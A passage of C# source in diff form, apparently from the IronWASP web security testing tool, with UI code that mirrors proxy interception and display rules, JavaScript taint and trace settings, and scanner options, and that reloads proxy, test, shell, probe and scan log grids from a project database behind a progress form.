UI.ConfigDisplayRuleOtherMethodsCB.Checked = IronProxy.DisplayOtherMethods; + UI.ConfigDisplayRuleCode200CB.Checked = IronProxy.Display200; + UI.ConfigDisplayRuleCode2xxCB.Checked = IronProxy.Display2xx; + UI.ConfigDisplayRuleCode301_2CB.Checked = IronProxy.Display301_2; + UI.ConfigDisplayRuleCode3xxCB.Checked = IronProxy.Display3xx; + UI.ConfigDisplayRuleCode403CB.Checked = IronProxy.Display403; + UI.ConfigDisplayRuleCode4xxCB.Checked = IronProxy.Display4xx; + UI.ConfigDisplayRuleCode500CB.Checked = IronProxy.Display500; + UI.ConfigDisplayRuleCode5xxCB.Checked = IronProxy.Display5xx; + UI.ConfigDisplayRuleContentHTMLCB.Checked = IronProxy.DisplayHTML; + UI.ConfigDisplayRuleContentCSSCB.Checked = IronProxy.DisplayCSS; + UI.ConfigDisplayRuleContentJSCB.Checked = IronProxy.DisplayJS; + UI.ConfigDisplayRuleContentXMLCB.Checked = IronProxy.DisplayXML; + UI.ConfigDisplayRuleContentJSONCB.Checked = IronProxy.DisplayJSON; + UI.ConfigDisplayRuleContentOtherTextCB.Checked = IronProxy.DisplayOtherText; + UI.ConfigDisplayRuleContentImgCB.Checked = IronProxy.DisplayImg; + UI.ConfigDisplayRuleContentOtherBinaryCB.Checked = IronProxy.DisplayOtherBinary; + + UI.ConfigDisplayRuleHostNamesCB.Checked = IronProxy.DisplayCheckHostNames; + UI.ConfigDisplayRuleHostNamesPlusRB.Checked = IronProxy.DisplayCheckHostNamesPlus; + UI.ConfigDisplayRuleHostNamesMinusRB.Checked = IronProxy.DisplayCheckHostNamesMinus; + UI.ConfigDisplayRuleHostNamesPlusTB.Text = Tools.ListToCsv(IronProxy.DisplayHostNames); + UI.ConfigDisplayRuleHostNamesMinusTB.Text = Tools.ListToCsv(IronProxy.DontDisplayHostNames); + UI.ConfigDisplayRuleFileExtensionsCB.Checked = IronProxy.DisplayCheckFileExtensions; + UI.ConfigDisplayRuleFileExtensionsPlusRB.Checked = IronProxy.DisplayCheckFileExtensionsPlus; + UI.ConfigDisplayRuleFileExtensionsMinusRB.Checked = IronProxy.DisplayCheckFileExtensionsMinus; + UI.ConfigDisplayRuleFileExtensionsPlusTB.Text = Tools.ListToCsv(IronProxy.DisplayFileExtensions); + UI.ConfigDisplayRuleFileExtensionsMinusTB.Text = Tools.ListToCsv(IronProxy.DontDisplayFileExtensions); + } + + internal static void UpdateInterceptionRulesInUIFromConfig() + { + UI.ConfigRuleGETMethodCB.Checked = IronProxy.InterceptGET; + UI.ConfigRulePOSTMethodCB.Checked = IronProxy.InterceptPOST; + UI.ConfigRuleOtherMethodsCB.Checked = IronProxy.InterceptOtherMethods; + UI.ConfigRuleCode200CB.Checked = IronProxy.Intercept200; + UI.ConfigRuleCode2xxCB.Checked = IronProxy.Intercept2xx; + UI.ConfigRuleCode301_2CB.Checked = IronProxy.Intercept301_2; + UI.ConfigRuleCode3xxCB.Checked = IronProxy.Intercept3xx; + UI.ConfigRuleCode403CB.Checked = IronProxy.Intercept403; + UI.ConfigRuleCode4xxCB.Checked = IronProxy.Intercept4xx; + UI.ConfigRuleCode500CB.Checked = IronProxy.Intercept500; + UI.ConfigRuleCode5xxCB.Checked = IronProxy.Intercept5xx; + UI.ConfigRuleContentHTMLCB.Checked = IronProxy.InterceptHTML; + UI.ConfigRuleContentCSSCB.Checked = IronProxy.InterceptCSS; + UI.ConfigRuleContentJSCB.Checked = IronProxy.InterceptJS; + UI.ConfigRuleContentXMLCB.Checked = IronProxy.InterceptXML; + UI.ConfigRuleContentJSONCB.Checked = IronProxy.InterceptJSON; + UI.ConfigRuleContentOtherTextCB.Checked = IronProxy.InterceptOtherText; + UI.ConfigRuleContentImgCB.Checked = IronProxy.InterceptImg; + UI.ConfigRuleContentOtherBinaryCB.Checked = IronProxy.InterceptOtherBinary; + + UI.ConfigRuleHostNamesCB.Checked = IronProxy.InterceptCheckHostNames; + UI.ConfigRuleHostNamesPlusRB.Checked = IronProxy.InterceptCheckHostNamesPlus; + UI.ConfigRuleHostNamesMinusRB.Checked = IronProxy.InterceptCheckHostNamesMinus; + UI.ConfigRuleHostNamesPlusTB.Text = Tools.ListToCsv(IronProxy.InterceptHostNames); + UI.ConfigRuleHostNamesMinusTB.Text = Tools.ListToCsv(IronProxy.DontInterceptHostNames); + + UI.ConfigRuleFileExtensionsCB.Checked = IronProxy.InterceptCheckFileExtensions; + UI.ConfigRuleFileExtensionsPlusRB.Checked = IronProxy.InterceptCheckFileExtensionsPlus; + UI.ConfigRuleFileExtensionsMinusRB.Checked = IronProxy.InterceptCheckFileExtensionsMinus; + UI.ConfigRuleFileExtensionsPlusTB.Text = Tools.ListToCsv(IronProxy.InterceptFileExtensions); + UI.ConfigRuleFileExtensionsMinusTB.Text = Tools.ListToCsv(IronProxy.DontInterceptFileExtensions); + + UI.ConfigRuleKeywordInRequestCB.Checked = IronProxy.InterceptCheckRequestWithKeyword; + UI.ConfigRuleKeywordInRequestPlusRB.Checked = IronProxy.InterceptCheckRequestWithKeywordPlus; + UI.ConfigRuleKeywordInRequestMinusRB.Checked = IronProxy.InterceptCheckRequestWithKeywordMinus; + UI.ConfigRuleKeywordInRequestPlusTB.Text = IronProxy.InterceptRequestWithKeyword; + UI.ConfigRuleKeywordInRequestMinusTB.Text = IronProxy.DontInterceptRequestWithKeyword; + + UI.ConfigRuleKeywordInResponseCB.Checked = IronProxy.InterceptCheckResponseWithKeyword; + UI.ConfigRuleKeywordInResponsePlusRB.Checked = IronProxy.InterceptCheckResponseWithKeywordPlus; + UI.ConfigRuleKeywordInResponseMinusRB.Checked = IronProxy.InterceptCheckResponseWithKeywordMinus; + UI.ConfigRuleKeywordInResponsePlusTB.Text = IronProxy.InterceptResponseWithKeyword; + UI.ConfigRuleKeywordInResponseMinusTB.Text = IronProxy.DontInterceptResponseWithKeyword; + + UI.ConfigRuleRequestOnResponseRulesCB.Checked = IronProxy.RequestRulesOnResponse; + } + + internal static void UpdateJSTaintConfigInUIFromConfig() + { + UI.ConfigDefaultJSTaintConfigGrid.Rows.Clear(); + List> Lists = new List>() { new List(IronJint.DefaultSourceObjects), new List(IronJint.DefaultSinkObjects), new List(IronJint.DefaultSourceReturningMethods), new List(IronJint.DefaultSinkReturningMethods), new List(IronJint.DefaultArgumentReturningMethods), new List(IronJint.DefaultArgumentAssignedASourceMethods), new List(IronJint.DefaultArgumentAssignedToSinkMethods) }; + int MaxCount = 0; + foreach (List List in Lists) + { + if (List.Count > MaxCount) MaxCount = List.Count; + } + foreach (List List in Lists) + { + while (List.Count < MaxCount) + { + List.Add(""); + } + } + for (int i = 0; i < MaxCount; i++) + { + UI.ConfigDefaultJSTaintConfigGrid.Rows.Add(new object[] { Lists[0][i], Lists[1][i], Lists[5][i], Lists[6][i], Lists[2][i], Lists[3][i], Lists[4][i] }); + } + } + + internal static void UpdateJavaScriptTraceSettingsInUiFromConfig() + { + UI.JsTraceMonitorEvalCB.Checked = JavaScriptTracer.MonitorEval; + UI.JsTraceMonitorSetTimeoutCB.Checked = JavaScriptTracer.MonitorSetTimeout; + UI.JsTraceMonitorSetIntervalCB.Checked = JavaScriptTracer.MonitorSetInterval; + UI.JsTraceMonitorFunctionMethodCB.Checked = JavaScriptTracer.MonitorFunctionMethods; + UI.JsTraceMonitorNonNativeMethodCB.Checked = JavaScriptTracer.MonitorUserDefinedMethods; + + UI.JsTraceMonitorInnerHtmlCB.Checked = JavaScriptTracer.MonitorInnerHtmlAssignments; + + UI.JsTraceMonitorXhrCB.Checked = JavaScriptTracer.MonitorXhr; + } + + delegate void UpdateScannerSettingsInUIFromConfig_d(); + internal static void UpdateScannerSettingsInUIFromConfig() + { + if (UI.ConfigScannerThreadMaxCountTB.InvokeRequired) + { + UpdateScannerSettingsInUIFromConfig_d CALL_d = new UpdateScannerSettingsInUIFromConfig_d(UpdateScannerSettingsInUIFromConfig); + UI.Invoke(CALL_d, new object[] { }); + } + else + { + UI.ConfigScannerThreadMaxCountTB.Value = Scanner.MaxParallelScanCount; + UI.ConfigScannerThreadMaxCountLbl.Text = UI.ConfigScannerThreadMaxCountTB.Value.ToString(); + } + } + + internal static void UpdatePassiveAnalysisSettingsInUIFromConfig() + { + UI.ConfigPassiveAnalysisOnProxyTrafficCB.Checked = PassiveChecker.RunOnProxyTraffic; + UI.ConfigPassiveAnalysisOnShellTrafficCB.Checked = PassiveChecker.RunOnShellTraffic; + UI.ConfigPassiveAnalysisOnTestTrafficCB.Checked = PassiveChecker.RunOnTestTraffic; + UI.ConfigPassiveAnalysisOnScanTrafficCB.Checked = PassiveChecker.RunOnScanTraffic; + UI.ConfigPassiveAnalysisOnProbeTrafficCB.Checked = PassiveChecker.RunOnProbeTraffic; + } + + delegate void UpdateProxyLogBasedOnDisplayFilter_d(); + internal static void UpdateProxyLogBasedOnDisplayFilter() + { + + if (UI.ProxyLogGrid.InvokeRequired) + { + UpdateProxyLogBasedOnDisplayFilter_d UPLBODF_d = new UpdateProxyLogBasedOnDisplayFilter_d(UpdateProxyLogBasedOnDisplayFilter); + UI.Invoke(UPLBODF_d, new object[] { }); + } + else + { + string Method = null; + string Host = null; + string FileExtension = null; + int Code = 0; + string ContentType = null; + bool IgnoreContentType = false; + + foreach (DataGridViewRow Row in UI.ProxyLogGrid.Rows) + { + if (Row.Cells["ProxyLogGridColumnForMethod"].Value != null) + { + Method = Row.Cells["ProxyLogGridColumnForMethod"].Value.ToString(); + } + else + { + Method = null; + } + if (Row.Cells["ProxyLogGridColumnForHostName"].Value != null) + { + Host = Row.Cells["ProxyLogGridColumnForHostName"].Value.ToString(); + } + else + { + Host = null; + } + if (Row.Cells["ProxyLogGridColumnForFile"].Value != null) + { + FileExtension = Row.Cells["ProxyLogGridColumnForFile"].Value.ToString(); + } + else + { + FileExtension = null; + } + if (Row.Cells["ProxyLogGridColumnForCode"].Value != null) + { + if (!Int32.TryParse(Row.Cells["ProxyLogGridColumnForCode"].Value.ToString(), out Code)) + { + Code = 0; + } + } + else + { + Code = 0; + } + if (Row.Cells["ProxyLogGridColumnForMIME"].Value != null) + { + ContentType = Row.Cells["ProxyLogGridColumnForMIME"].Value.ToString(); + } + else + { + ContentType = null; + } + if (Row.Cells["ProxyLogGridColumnForLength"].Value != null) + { + if (Row.Cells["ProxyLogGridColumnForLength"].Value.ToString().Equals("0")) + { + IgnoreContentType = true; + } + } + else + { + IgnoreContentType = false; + } + Row.Visible = IronProxy.CanDisplayRowInLogDisplay(Method, Host, FileExtension, Code, ContentType, IgnoreContentType); + } + } + } + + + delegate void StartUpdatingFullUIFromDB_d(); + internal static void StartUpdatingFullUIFromDB() + { + if (UI.InvokeRequired) + { + StartUpdatingFullUIFromDB_d CALL_d = new StartUpdatingFullUIFromDB_d(StartUpdatingFullUIFromDB); + UI.Invoke(CALL_d, new object[] { }); + } + else + { + + IronProxy.Stop(); + SetUIVisibility(false); + + IronUI.WF = new WaitForm(); + + Thread T = new Thread(new ThreadStart(ShowWaitForm)); + T.Start(); + Thread.Sleep(1000); + UpdateFullUIFromDB(); + } + } + + static void ShowWaitForm() + { + IronUI.WF.Text = "Reading Iron Project file..."; + IronUI.WF.WaitFormProgressBar.Minimum = 1; + IronUI.WF.WaitFormProgressBar.Maximum = 13; + IronUI.WF.WaitFormProgressBar.Value = 1; + IronUI.WF.WaitFormProgressBar.Step = 1; + IronUI.WF.ProjectLoadGrid.Rows.Add(new object[] { "Tasks", "Count", "Status" }); + IronUI.WF.ProjectLoadGrid.Rows.Add(new object[] { "Load Proxy Logs", "0", "Not Done" }); + IronUI.WF.ProjectLoadGrid.Rows.Add(new object[] { "Load Manual Testing Logs", "0", "Not Done" }); + IronUI.WF.ProjectLoadGrid.Rows.Add(new object[] { "Load Scripting Shell Logs", "0", "Not Done" }); + IronUI.WF.ProjectLoadGrid.Rows.Add(new object[] { "Load Automated Scanning Queue", "0", "Not Done" }); + IronUI.WF.ProjectLoadGrid.Rows.Add(new object[] { "Load ScanTrace Messages", "0", "Not Done" }); + IronUI.WF.ProjectLoadGrid.Rows.Add(new object[] { "Load Automated Scanning Logs", "0", "Not Done" }); + IronUI.WF.ProjectLoadGrid.Rows.Add(new object[] { "Load Probe Logs", "0", "Not Done" }); + IronUI.WF.ProjectLoadGrid.Rows.Add(new object[] { "Load Plugin Results", "0", "Not Done" }); + IronUI.WF.ProjectLoadGrid.Rows.Add(new object[] { "Load Exceptions", "0", "Not Done" }); + IronUI.WF.ProjectLoadGrid.Rows.Add(new object[] { "Load Sitemap", "0", "Not Done" }); + IronUI.WF.ProjectLoadGrid.Rows.Add(new object[] { "Load Trace Messages", "0", "Not Done" }); + IronUI.WF.ProjectLoadGrid.Rows.Add(new object[] { "Load Recordings", "0", "Not Done" }); + IronUI.WF.ProjectLoadGrid.Rows[0].DefaultCellStyle.Alignment = DataGridViewContentAlignment.MiddleCenter; + IronUI.WF.ShowDialog(); + } + + delegate void StopUpdatingFullUIFromDB_d(); + static void StopUpdatingFullUIFromDB() + { + if (IronUI.WF.InvokeRequired) + { + SetUIVisibility(true); + StopUpdatingFullUIFromDB_d SUFUFD_d = new StopUpdatingFullUIFromDB_d(StopUpdatingFullUIFromDB); + IronUI.WF.Invoke(SUFUFD_d, new object[] { }); + } + else + { + WF.OK.Visible = true; + WF.TopMost = true; + WF.TopMost = false; + } + } + + delegate void ClearAllProxyGridRows_d(); + static void ClearAllProxyGridRows() + { + if (UI.ProxyLogGrid.InvokeRequired) + { + ClearAllProxyGridRows_d CAPGR_d = new ClearAllProxyGridRows_d(ClearAllProxyGridRows); + UI.Invoke(CAPGR_d, new object[] { }); + } + else + { + UI.ProxyLogGrid.Rows.Clear(); + } + } + + //delegate void AddProxyGridRows_d(List Rows); + //static void AddProxyGridRows(List Rows) + //{ + // if (UI.ProxyLogGrid.InvokeRequired) + // { + // AddProxyGridRows_d APGR_d = new AddProxyGridRows_d(AddProxyGridRows); + // UI.Invoke(APGR_d, new object[] { Rows }); + // } + // else + // { + // foreach (object[] Row in Rows) + // { + // if (UI.ProxyLogGrid.Rows.Count >= IronLog.MaxRowCount) break; + // try + // { + // UI.ProxyLogGrid.Rows.Add(Row); + // int ID = (int)Row[0]; + // if (ID > IronLog.ProxyMax) IronLog.ProxyMax = ID; + // if (ID < IronLog.ProxyMin || IronLog.ProxyMin < 1) IronLog.ProxyMin = ID; + // } + // catch { } + // } + // Rows.Clear(); + // } + //} + + delegate void SetProxyGridRows_d(List Rows); + internal static void SetProxyGridRows(List Rows) + { + if (UI.ProxyLogGrid.InvokeRequired) + { + SetProxyGridRows_d SPGR_d = new SetProxyGridRows_d(SetProxyGridRows); + UI.Invoke(SPGR_d, new object[] { Rows }); + } + else + { + UI.ProxyLogGrid.Rows.Clear(); + IronLog.ProxyMin = 0; + IronLog.ProxyMax = 0; + foreach (object[] Row in Rows) + { + if (UI.ProxyLogGrid.Rows.Count >= IronLog.MaxRowCount) break; + try + { + UI.ProxyLogGrid.Rows.Add(Row); + int ID = (int)Row[0]; + if (ID > IronLog.ProxyMax) IronLog.ProxyMax = ID; + if (ID < IronLog.ProxyMin || IronLog.ProxyMin < 1) IronLog.ProxyMin = ID; + } + catch { } + } + Rows.Clear(); + ShowCurrentLogStat(); + ShowLogBottomStatus("", false); + } + } + + delegate void ClearAllMTGridRows_d(); + static void ClearAllMTGridRows() + { + if (UI.TestLogGrid.InvokeRequired) + { + ClearAllMTGridRows_d CAMTGR_d = new ClearAllMTGridRows_d(ClearAllMTGridRows); + UI.Invoke(CAMTGR_d, new object[] { }); + } + else + { + UI.TestLogGrid.Rows.Clear(); + } + } + + //delegate void AddTestGridRows_d(List Rows); + //static void AddTestGridRows(List Rows) + //{ + // if (UI.TestLogGrid.InvokeRequired) + // { + // AddTestGridRows_d ATGR_d = new AddTestGridRows_d(AddTestGridRows); + // UI.Invoke(ATGR_d, new object[] { Rows }); + // } + // else + // { + // foreach (object[] Row in Rows) + // { + // if (UI.TestLogGrid.Rows.Count > IronLog.MaxRowCount) break; + // try + // { + // UI.TestLogGrid.Rows.Add(Row); + // int ID = (int)Row[0]; + // if (ID > IronLog.TestMax) IronLog.TestMax = ID; + // if (ID < IronLog.TestMin || IronLog.TestMin < 1) IronLog.TestMin = ID; + // } + // catch { } + // } + // Rows.Clear(); + // } + //} + + delegate void SetTestGridRows_d(List Rows); + internal static void SetTestGridRows(List Rows) + { + if (UI.TestLogGrid.InvokeRequired) + { + SetTestGridRows_d STGR_d = new SetTestGridRows_d(SetTestGridRows); + UI.Invoke(STGR_d, new object[] { Rows }); + } + else + { + UI.TestLogGrid.Rows.Clear(); + IronLog.TestMin = 0; + IronLog.TestMax = 0; + foreach (object[] Row in Rows) + { + if (UI.TestLogGrid.Rows.Count > IronLog.MaxRowCount) break; + try + { + UI.TestLogGrid.Rows.Add(Row); + int ID = (int)Row[0]; + if (ID > IronLog.TestMax) IronLog.TestMax = ID; + if (ID < IronLog.TestMin || IronLog.TestMin < 1) IronLog.TestMin = ID; + } + catch { } + } + Rows.Clear(); + ShowCurrentLogStat(); + ShowLogBottomStatus("", false); + } + } + + delegate void ClearAllShellGridRows_d(); + static void ClearAllShellGridRows() + { + if (UI.ShellLogGrid.InvokeRequired) + { + ClearAllShellGridRows_d CASGR_d = new ClearAllShellGridRows_d(ClearAllShellGridRows); + UI.Invoke(CASGR_d, new object[] { }); + } + else + { + UI.ShellLogGrid.Rows.Clear(); + } + } + + + //delegate void AddShellGridRows_d(List Rows); + //static void AddShellGridRows(List Rows) + //{ + // if (UI.ShellLogGrid.InvokeRequired) + // { + // AddShellGridRows_d ASGR_d = new AddShellGridRows_d(AddShellGridRows); + // UI.Invoke(ASGR_d, new object[] { Rows }); + // } + // else + // { + // foreach (object[] Row in Rows) + // { + // if (UI.ShellLogGrid.Rows.Count >= IronLog.MaxRowCount) break; + // try + // { + // UI.ShellLogGrid.Rows.Add(Row); + // int ID = (int)Row[0]; + // if (ID > IronLog.ShellMax) IronLog.ShellMax = ID; + // if (ID < IronLog.ShellMin || IronLog.ShellMin < 1) IronLog.ShellMin = ID; + // } + // catch { } + // } + // Rows.Clear(); + // } + //} + + delegate void SetShellGridRows_d(List Rows); + internal static void SetShellGridRows(List Rows) + { + if (UI.ShellLogGrid.InvokeRequired) + { + SetShellGridRows_d SSGR_d = new SetShellGridRows_d(SetShellGridRows); + UI.Invoke(SSGR_d, new object[] { Rows }); + } + else + { + UI.ShellLogGrid.Rows.Clear(); + IronLog.ShellMin = 0; + IronLog.ShellMax = 0; + foreach (object[] Row in Rows) + { + if (UI.ShellLogGrid.Rows.Count >= IronLog.MaxRowCount) break; + try + { + UI.ShellLogGrid.Rows.Add(Row); + int ID = (int)Row[0]; + if (ID > IronLog.ShellMax) IronLog.ShellMax = ID; + if (ID < IronLog.ShellMin || IronLog.ShellMin < 1) IronLog.ShellMin = ID; + } + catch { } + } + Rows.Clear(); + ShowCurrentLogStat(); + ShowLogBottomStatus("", false); + } + } + + delegate void SetOtherSourceGridRows_d(List Rows, string Source); + internal static void SetOtherSourceGridRows(List Rows, string Source) + { + if (UI.OtherLogGrid.InvokeRequired) + { + SetOtherSourceGridRows_d SOSGR_d = new SetOtherSourceGridRows_d(SetOtherSourceGridRows); + UI.Invoke(SOSGR_d, new object[] { Rows, Source }); + } + else + { + List Sources = new List(); + foreach (DataGridViewRow Row in UI.OtherLogSourceGrid.Rows) + { + Sources.Add(Row.Cells[0].Value.ToString()); + } + if (!Source.Contains(Source)) + { + UI.OtherLogSourceGrid.Rows.Add(new object[]{Source}); + } + UI.OtherLogGrid.Rows.Clear(); + IronLog.OtherSourceMin = 0; + IronLog.OtherSourceMax = 0; + foreach (object[] Row in Rows) + { + if (UI.OtherLogGrid.Rows.Count >= IronLog.MaxRowCount) break; + try + { + UI.OtherLogGrid.Rows.Add(Row); + int ID = (int)Row[0]; + if (ID > IronLog.OtherSourceMax) IronLog.OtherSourceMax = ID; + if (ID < IronLog.OtherSourceMin || IronLog.OtherSourceMin < 1) IronLog.OtherSourceMin = ID; + } + catch { } + } + Rows.Clear(); + ShowCurrentLogStat(); + ShowLogBottomStatus("", false); + } + } + + delegate void ClearAllProbeGridRows_d(); + static void ClearAllProbeGridRows() + { + if (UI.ProbeLogGrid.InvokeRequired) + { + ClearAllProbeGridRows_d CAPGR_d = new ClearAllProbeGridRows_d(ClearAllProbeGridRows); + UI.Invoke(CAPGR_d, new object[] { }); + } + else + { + UI.ProbeLogGrid.Rows.Clear(); + } + } + + + //delegate void AddProbeGridRows_d(List Rows); + //static void AddProbeGridRows(List Rows) + //{ + // if (UI.ProbeLogGrid.InvokeRequired) + // { + // AddProbeGridRows_d APGR_d = new AddProbeGridRows_d(AddProbeGridRows); + // UI.Invoke(APGR_d, new object[] { Rows }); + // } + // else + // { + // foreach (object[] Row in Rows) + // { + // if (UI.ProbeLogGrid.Rows.Count >= IronLog.MaxRowCount) break; + // try + // { + // UI.ProbeLogGrid.Rows.Add(Row); + // int ID = (int)Row[0]; + // if (ID > IronLog.ProbeMax) IronLog.ProbeMax = ID; + // if (ID < IronLog.ProbeMin || IronLog.ProbeMin < 1) IronLog.ProbeMin = ID; + // } + // catch { } + // } + // Rows.Clear(); + // } + //} + + delegate void SetProbeGridRows_d(List Rows); + internal static void SetProbeGridRows(List Rows) + { + if (UI.ProbeLogGrid.InvokeRequired) + { + SetProbeGridRows_d SPGR_d = new SetProbeGridRows_d(SetProbeGridRows); + UI.Invoke(SPGR_d, new object[] { Rows }); + } + else + { + UI.ProbeLogGrid.Rows.Clear(); + IronLog.ProbeMin = 0; + IronLog.ProbeMax = 0; + foreach (object[] Row in Rows) + { + if (UI.ProbeLogGrid.Rows.Count >= IronLog.MaxRowCount) break; + try + { + UI.ProbeLogGrid.Rows.Add(Row); + int ID = (int)Row[0]; + if (ID > IronLog.ProbeMax) IronLog.ProbeMax = ID; + if (ID < IronLog.ProbeMin || IronLog.ProbeMin < 1) IronLog.ProbeMin = ID; + } + catch { } + } + Rows.Clear(); + ShowCurrentLogStat(); + ShowLogBottomStatus("", false); + } + } + + delegate void ClearAllScanGridRows_d(); + static void ClearAllScanGridRows() + { + if (UI.ScanLogGrid.InvokeRequired) + { + ClearAllScanGridRows_d CASGR_d = new ClearAllScanGridRows_d(ClearAllScanGridRows); + UI.Invoke(CASGR_d, new object[] { }); + } + else + { + UI.ScanLogGrid.Rows.Clear(); + } + } + + //delegate void AddScanGridRows_d(List Rows); + //static void AddScanGridRows(List Rows) + //{ + // if (UI.ScanLogGrid.InvokeRequired) + // { + // AddScanGridRows_d ASGR_d = new AddScanGridRows_d(AddScanGridRows); + // UI.Invoke(ASGR_d, new object[] { Rows }); + // } + // else + // { + // foreach (object[] Row in Rows) + // { + // if (UI.ScanLogGrid.Rows.Count >= IronLog.MaxRowCount) break; + // try + // { + // UI.ScanLogGrid.Rows.Add(Row); + // int ID = (int)Row[0]; + // if (ID > IronLog.ScanMax) IronLog.ScanMax = ID; + // if (ID < IronLog.ScanMin || IronLog.ScanMin < 1) IronLog.ScanMin = ID; + // } + // catch { } + // } + // Rows.Clear(); + // } + //} + + delegate void SetScanGridRows_d(List Rows); + internal static void SetScanGridRows(List Rows) + { + if (UI.ScanLogGrid.InvokeRequired) + { + SetScanGridRows_d SSGR_d = new SetScanGridRows_d(SetScanGridRows); + UI.Invoke(SSGR_d, new object[] { Rows }); + } + else + { + UI.ScanLogGrid.Rows.Clear(); + IronLog.ScanMax = 0; + IronLog.ScanMin = 0; + foreach (object[] Row in Rows) + { + if (UI.ScanLogGrid.Rows.Count >= IronLog.MaxRowCount) break; + try + { + UI.ScanLogGrid.Rows.Add(Row); + int ID = (int)Row[0]; + if (ID > IronLog.ScanMax) IronLog.ScanMax = ID; + if (ID < IronLog.ScanMin || IronLog.ScanMin < 1) IronLog.ScanMin = ID; + } + catch { } + } + Rows.Clear(); + ShowCurrentLogStat(); + ShowLogBottomStatus("", false); + } + } + + delegate void ClearAllScanQueueGridRows_d(); + static void ClearAllScanQueueGridRows() + { + if (UI.ASQueueGrid.InvokeRequired) + { + ClearAllScanQueueGridRows_d CASQGR_d = new ClearAllScanQueueGridRows_d(ClearAllScanQueueGridRows); + UI.Invoke(CASQGR_d, new object[] { }); + } + else + { + UI.ASQueueGrid.Rows.Clear(); + } + } + + delegate void ClearAllTraceGridRows_d(); + static void ClearAllTraceGridRows() + { + if (UI.TraceGrid.InvokeRequired) + { + ClearAllTraceGridRows_d CATGR_d = new ClearAllTraceGridRows_d(ClearAllTraceGridRows); + UI.Invoke(CATGR_d, new object[] { }); + } + else + { + UI.TraceGrid.Rows.Clear(); + } + } + + delegate void ClearAllScanTraceGridRows_d(); + static void ClearAllScanTraceGridRows() + { + if (UI.ScanTraceGrid.InvokeRequired) + { + ClearAllScanTraceGridRows_d CASTGR_d = new ClearAllScanTraceGridRows_d(ClearAllScanTraceGridRows); + UI.Invoke(CASTGR_d, new object[] { }); + } + else + { + UI.ScanTraceGrid.Rows.Clear(); + } + } + + delegate void AddScanQueueGridRows_d(List Rows); + static void AddScanQueueGridRows(List Rows) + { + if (UI.ASQueueGrid.InvokeRequired) + { + AddScanQueueGridRows_d ASQGR_d = new AddScanQueueGridRows_d(AddScanQueueGridRows); + UI.Invoke(ASQGR_d, new object[] { Rows }); + } + else + { + foreach (object[] Row in Rows) + { + int GridID = UI.ASQueueGrid.Rows.Add(Row); + DataGridViewRow GridRow = UI.ASQueueGrid.Rows[GridID]; + string Status = Row[1].ToString(); + switch (Status) + { + case "Running": + GridRow.DefaultCellStyle.BackColor = Color.Green; + break; + case "Aborted": + GridRow.DefaultCellStyle.BackColor = Color.Red; + break; + case "Completed": + GridRow.DefaultCellStyle.BackColor = Color.Gray; + break; + case "Incomplete": + case "Stopped": + GridRow.DefaultCellStyle.BackColor = Color.IndianRed; + break; + default: + GridRow.DefaultCellStyle.BackColor = Color.White; + break; + } + } + Rows.Clear(); + } + } + + delegate void ResetIronTree_d(); + static void ResetIronTree() + { + if (UI.IronTree.InvokeRequired) + { + ResetIronTree_d RIT_d = new ResetIronTree_d(ResetIronTree); + UI.Invoke(RIT_d, new object[] { }); + } + else + { + UI.IronTree.Nodes.Clear(); + BuildIronTree(); + } + } + + delegate void ShowWaitFormMessage_d(string Message); + static void ShowWaitFormMessage(string Message) + { + if (IronUI.WF.InvokeRequired) + { + ShowWaitFormMessage_d ASQGR_d = new ShowWaitFormMessage_d(ShowWaitFormMessage); + IronUI.WF.Invoke(ASQGR_d, new object[] { Message }); + } + else + { + IronUI.WF.Text = Message; + } + } + + delegate void ShowWaitFormOkBtn_d(); + static void ShowWaitFormOkBtn() + { + if (IronUI.WF.InvokeRequired) + { + ShowWaitFormOkBtn_d SWFOB_d = new ShowWaitFormOkBtn_d(ShowWaitFormOkBtn); + IronUI.WF.Invoke(SWFOB_d, new object[] { }); + } + else + { + IronUI.WF.OK.Visible = true; + } + } + + delegate void ShowWaitFormGridMessage_d(int ID, int Count, string Message, int Colour, bool Step); + static void ShowWaitFormGridMessage(int ID, int Count, string Message, int Colour, bool Step) + { + if (IronUI.WF.InvokeRequired) + { + ShowWaitFormGridMessage_d SWFGM_d = new ShowWaitFormGridMessage_d(ShowWaitFormGridMessage); + IronUI.WF.Invoke(SWFGM_d, new object[] { ID, Count, Message, Colour, Step }); + } + else + { + IronUI.WF.ProjectLoadGrid.Rows[ID].Cells[1].Value = Count.ToString(); + IronUI.WF.ProjectLoadGrid.Rows[ID].Cells[2].Value = Message; + switch(Colour) + { + case(1): + IronUI.WF.ProjectLoadGrid.Rows[ID].Cells[2].Style.ForeColor = Color.Green; + break; + case (2): + IronUI.WF.ProjectLoadGrid.Rows[ID].Cells[2].Style.ForeColor = Color.Orange; + break; + case (3): + IronUI.WF.ProjectLoadGrid.Rows[ID].Cells[2].Style.ForeColor = Color.Red; + break; + } + IronUI.WF.ProjectLoadGrid.Rows[0].Cells[2].Value = "Status"; + if(Step) IronUI.WF.WaitFormProgressBar.PerformStep(); + } + } + + delegate void StepWaitFormProgressBar_d(); + static void StepWaitFormProgressBar() + { + if (IronUI.WF.InvokeRequired) + { + StepWaitFormProgressBar_d SWFPB_d = new StepWaitFormProgressBar_d(StepWaitFormProgressBar); + IronUI.WF.Invoke(SWFPB_d, new object[] { }); + } + else + { + IronUI.WF.WaitFormProgressBar.PerformStep(); + } + } + + internal static void UpdateFullUIFromDB() + { + bool Success = true; + + List> Urls = new List>(); + + int StartID = 0; + int Counter = 0; + + try + { + IronDB.ReadOtherSourceLogInformation(); + IronDB.MakeLogFileVersionCompliant(); + IronUI.UpdateOtherSourceLogGrid(new List(), new List(), "", new List(Config.OtherSourceCounterDict.Keys)); + } + catch{ ShowWaitFormMessage("Error reading Other Source Log DB.."); } + + //Clear all data from the results section + ResetPluginResultsTab(); + + //StepWaitFormProgressBar(); + ShowWaitFormGridMessage(1, Counter, "In Progress", 2, true); + ShowWaitFormMessage("Updating Proxy Logs.."); + + //Thread.Sleep(500); + Success = true; + List ProxyRows = new List(); + + List ProxyLogRecords = new List(); + + ClearAllProxyGridRows(); + try + { + ProxyLogRecords = IronDB.GetRecordsFromProxyLog(0, IronLog.MaxRowCount); //.GetProxyLogRecords(StartID); + } + catch + { + ShowWaitFormMessage("Error reading Proxy Log DB.."); + ShowWaitFormGridMessage(1, 0, "Failed", 3, false); + Success = false; + } + if (ProxyLogRecords.Count > 0) + { + Counter = Counter + ProxyLogRecords.Count; + foreach (LogRow Fields in ProxyLogRecords) + { + if (Fields.ID > StartID) StartID = Fields.ID; + ProxyRows.Add(Fields.ToProxyGridRowObjectArray()); + try + { + Request Req = new Request("http://" + Fields.Host + Fields.Url); + 